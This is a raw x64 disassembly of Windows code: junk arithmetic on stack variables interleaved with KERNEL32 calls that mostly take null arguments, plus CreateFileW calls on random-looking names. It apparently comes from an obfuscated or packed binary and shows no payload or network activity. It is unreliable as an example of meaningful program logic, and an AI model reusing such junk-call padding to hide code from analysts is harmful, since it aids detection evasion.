call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [0x1401c8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x307]
add eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov word [rsp + 0x26e8], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdcd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c724c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe648]
mov rcx, qword [rsp + 0x95a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcda0]
mov qword [rcx], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx ecx, word [rsp + 0x2058]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23ac], ax
mov rcx, qword [rsp + 0xdc38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe818]
mov rcx, qword [rsp + 0xcf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb20], rax
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xdb40]
mov rcx, qword [rsp + 0xa7d0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcb68], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x265c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x26ec], ax
movsx eax, word [rsp + 0x1284]
mov rcx, qword [rsp + 0xe6e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2280], ax
mov rax, qword [rsp + 0xe168]
mov qword [rsp + 0xe858], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67b4], eax
mov rcx, qword [rsp + 0xd658]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x20488]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe860], rax
lea rdx, [rsp + 0x264c0]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6480], eax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov ecx, dword [0x1401c8ab0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x67e4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe868], rax
mov rax, qword [rsp + 0xd170]
movzx eax, byte [rax]
mov byte [rsp + 0x41a], al
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0xe350]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68ec], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx eax, byte [0x1401c8a16]
mov rcx, qword [rsp + 0xca88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x261], al
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0xe578]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401c8cb8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0xd8d0]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13ac], ax
mov rcx, qword [rsp + 0xe5c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x676c], eax
movzx eax, word [rsp + 0x9cc]
movzx ecx, word [rsp + 0x200c]
shl eax, cl
mov word [rsp + 0x2314], ax
lea rax, [rsp + 0xdae0]
mov qword [rsp + 0xe870], rax
mov rax, qword [rsp + 0xd778]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd1c0]
shr rax, cl
mov qword [rsp + 0xa330], rax
mov eax, dword [rsp + 0x6a38]
mov dword [rsp + 0x6a5c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd7b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41a]
sub eax, ecx
mov byte [rsp + 0x23a], al
lea rcx, [rsp + 0x20518]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xdab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd358]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x22a8], ax
movzx eax, word [rsp + 0x2114]
mov rcx, qword [rsp + 0xe178]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17e4], ax
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [0x1401c8ee8], rax
movzx eax, word [0x1401c8bd8]
mov rcx, qword [rsp + 0xd868]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3e8]
mov qword [rsp + 0xe878], rax
mov rax, qword [rsp + 0xd328]
mov rcx, qword [rsp + 0xdbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe648]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd870]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd138]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xdc80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xa598]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8b0], rax
mov rcx, qword [rsp + 0xd1b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64e4], eax
lea rcx, str.UY3_Hg29lFR2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x26f0], ax
mov edx, 0x2479
mov rcx, qword [rsp + 0xd468]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66f8], eax
mov rax, qword [rsp + 0xe0d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdf50]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x3f7], al
mov rax, qword [rsp + 0xdc78]
mov eax, dword [rax]
mov dword [rsp + 0x6a60], eax
movsx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0xe110]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3fe], al
mov rax, qword [0x1401c8d70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2374]
shl eax, cl
mov rcx, qword [0x1401c8e80]
mov word [rcx], ax
lea rcx, [rsp + 0x20638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe880], rax
movsx eax, word [rsp + 0x18a8]
mov rcx, qword [rsp + 0xc698]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2100], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6444], eax
movzx eax, word [rsp + 0xaa0]
mov word [rsp + 0x26f4], ax
movzx eax, word [0x1401c8b68]
movzx ecx, word [rsp + 0x2314]
sar eax, cl
mov rcx, qword [rsp + 0xd290]
mov word [rcx], ax
mov rax, qword [rsp + 0xd880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x17d]
sub eax, ecx
mov byte [rsp + 0x21c], al
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc488]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd478], rax
mov eax, dword [rsp + 0x6400]
mov ecx, dword [rsp + 0x5ecc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd358]
movzx eax, word [rax]
mov word [rsp + 0x26f8], ax
lea rdx, [rsp + 0x261e8]
mov rcx, qword [rsp + 0xe518]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6900], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.2LYkU6iTbvdptdEMDDRKUmC55I
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe888], rax
mov rcx, qword [rsp + 0xe218]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x1370]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2438], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3f0]
mov qword [rsp + 0xe890], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe890]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c7180], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [0x1401c8a60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc560]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb068], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xe648]
mov rcx, qword [rsp + 0xe728]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xde10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xb180]
mov qword [rsp + 0xe898], rax
movzx eax, word [rsp + 0x2648]
movzx ecx, word [rsp + 0x2404]
and eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rcx, [0x1401ae1f8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x26fc], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0x20248]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc6a8]
mov rcx, qword [rsp + 0xd750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a04], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rax, [rsp + 0x235]
mov qword [rsp + 0xe8a0], rax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xe5f0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd6e0], rax
mov eax, dword [rsp + 0x6254]
mov dword [rsp + 0x6a64], eax
lea rax, [rsp + 0x307]
mov qword [0x1401c8ef0], rax
lea rcx, [rsp + 0x1d980]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movsx eax, word [rsp + 0x23ec]
movsx ecx, word [rsp + 0x1578]
sar eax, cl
mov word [rsp + 0x2204], ax
mov r9d, 1
lea r8, [rsp + 0xd748]
mov rdx, qword [rsp + 0xe8a8]
mov rcx, qword [rsp + 0xdc28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68d8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movsx eax, word [rsp + 0x21fc]
movsx ecx, word [rsp + 0x1e3c]
shl eax, cl
mov word [rsp + 0x24b8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx eax, word [rsp + 0x21a8]
movzx ecx, word [rsp + 0x23a4]
sub eax, ecx
mov word [rsp + 0x1da4], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov r9d, 0x1c8b
xor r8d, r8d
lea rdx, [rsp + 0xd948]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6a68], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xdf58], rax
mov rax, qword [0x1401c8ec8]
mov rcx, qword [rsp + 0xc898]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd20], rax
mov rax, qword [rsp + 0xdd28]
mov qword [rsp + 0xe8b0], rax
mov rcx, qword [rsp + 0xe338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6460], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x69e8], eax
movsx eax, byte [rsp + 0x3fe]
movsx ecx, byte [rsp + 0x40c]
sub eax, ecx
mov byte [rsp + 0x228], al
mov eax, dword [rsp + 0x5984]
movzx ecx, al
mov eax, dword [rsp + 0x63c4]
shl eax, cl
mov dword [rsp + 0x69a0], eax
movsx eax, word [rsp + 0x1d14]
mov rcx, qword [rsp + 0xcd08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ee8], ax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov rcx, qword [0x1401c8a50]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c7250], ax
mov rax, qword [rsp + 0xdae0]
mov rcx, qword [rsp + 0xd088]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe3a8], rax
mov rax, qword [rsp + 0xe5f8]
movzx eax, word [rax]
mov word [rsp + 0x2700], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe8b8], rax
mov eax, dword [rsp + 0x5b58]
mov ecx, dword [rsp + 0x6760]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d78], eax
movzx eax, byte [rsp + 0x3c5]
mov byte [rsp + 0x41b], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x687c], eax
mov rax, qword [rsp + 0xc400]
mov ecx, dword [rsp + 0x6254]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5e18], eax
mov rax, qword [rsp + 0xca30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39b]
and eax, ecx
mov rcx, qword [rsp + 0xd170]
mov byte [rcx], al
mov rax, qword [rsp + 0xe660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9aa0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0xe6e8]
movsx eax, word [rax]
movsx ecx, word [0x1401c8a28]
shl eax, cl
mov word [rsp + 0x1e50], ax
movzx eax, word [rsp + 0x1124]
mov rcx, qword [rsp + 0xe160]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c8b10], ax
mov rcx, qword [rsp + 0xd6f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xb210]
mov qword [rsp + 0xe8c0], rax
mov rax, qword [rsp + 0xb2e8]
mov rcx, qword [rsp + 0xb970]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0d0], rax
mov rax, qword [rsp + 0xca28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x24ec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe8c8], rax
movzx eax, word [rsp + 0x25ac]
movzx ecx, word [rsp + 0x2210]
add eax, ecx
mov word [rsp + 0x8a0], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov eax, dword [rsp + 0x644c]
mov ecx, dword [0x1401c71d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5edc], eax
mov rax, qword [rsp + 0xdca8]
mov rax, qword [rax]
mov qword [rsp + 0xe8d0], rax
mov rax, qword [rsp + 0xca90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe110]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x38c], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x20848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xe648]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd4e8]
shl rax, cl
mov qword [rsp + 0xe4b8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, word [rsp + 0x26d8]
mov word [0x1401c8ef8], ax
mov r9d, 1
lea r8, [rsp + 0xdbc0]
mov rdx, qword [rsp + 0xda80]
mov rcx, qword [rsp + 0xe3b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6a6c], eax
mov rax, qword [rsp + 0xe310]
movzx eax, word [rax]
mov word [rsp + 0x2704], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6948], eax
movzx eax, byte [str.5qKr]
mov rcx, qword [rsp + 0xe3c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x261], al
mov rcx, qword [rsp + 0xc860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x20578]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcaf8]
mov ecx, dword [rsp + 0x5a8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6a70], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xe1e8]
mov rcx, qword [0x1401c7108]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdf80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, [rsp + 0x207e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6a74], eax
mov rax, qword [rsp + 0xc5d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6874]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x59b0], eax
mov rcx, qword [rsp + 0xce50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x69f0], eax
lea rax, [rsp + 0x3b9]
mov qword [rsp + 0xe8d8], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xce58]
mov rcx, qword [0x1401c8c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc378]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66a8], eax
mov rax, qword [rsp + 0xc638]
movzx eax, word [rax]
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0xd390]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c711c], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [0x1401c8ed0]
mov rcx, qword [rsp + 0xa5c0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdd48], rax
lea rcx, [rsp + 0x20a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd580]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe178]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x16c8], ax
movsx eax, word [rsp + 0x18a8]
movsx ecx, word [rsp + 0x1f9c]
shl eax, cl
mov word [rsp + 0xa6c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xd980]
mov rcx, qword [rsp + 0x97f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd68], rax
movzx eax, byte [rsp + 0x414]
mov byte [rsp + 0x41c], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x64f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6678], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0xbdf8]
mov qword [rsp + 0xe8e0], rax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xca50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x26c0]
movzx ecx, word [rsp + 0x1e5c]
add eax, ecx
mov word [rsp + 0x20c4], ax
mov rax, qword [rsp + 0xa3e8]
mov qword [0x1401c8f00], rax
lea rcx, [rsp + 0x206f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x645c]
mov ecx, dword [0x1401c8a20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6674], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx eax, byte [rsp + 0x3db]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x33b], al
mov rax, qword [0x1401c8e80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd0f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd898]
movzx eax, word [rax]
mov word [rsp + 0x270c], ax
movsx eax, byte [rsp + 0x383]
mov rcx, qword [rsp + 0xe4e8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xc570]
mov ecx, dword [rsp + 0x6610]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x62a4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xe498]
mov qword [rsp + 0xe8e8], rax
lea rcx, [rsp + 0x20a88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movsx eax, word [rsp + 0x1d94]
movsx ecx, word [rsp + 0x1108]
and eax, ecx
mov word [rsp + 0x22ec], ax
movzx ecx, word [rsp + 0x219c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2710], ax
mov rax, qword [0x1401c8e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25b0]
sub eax, ecx
mov word [0x1401c8d00], ax
mov r9d, 0x1746
xor r8d, r8d
lea rdx, [rsp + 0xd900]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x62b8], eax
mov rcx, qword [rsp + 0xe338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 0x26cd
xor r8d, r8d
lea rdx, [rsp + 0xe868]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6a78], eax
lea rdx, [rsp + 0x265a0]
mov rcx, qword [rsp + 0xdb90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xd560]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xd230]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa850], rax
mov rax, qword [rsp + 0xda88]
mov qword [rsp + 0xe8f0], rax
mov r9d, 2
lea r8, [rsp + 0xe0a0]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xdae8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6a7c], eax
mov rax, qword [rsp + 0xd528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1238], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xe730]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5848]
shl eax, cl
mov dword [rsp + 0x61e0], eax
lea rax, [rsp + 0xe358]
mov qword [rsp + 0xe8f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.7OjXt0UKbbe2qr6v
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe900], rax
movzx ecx, word [rsp + 0x23ac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2448], ax
mov rax, qword [rsp + 0xc9d8]
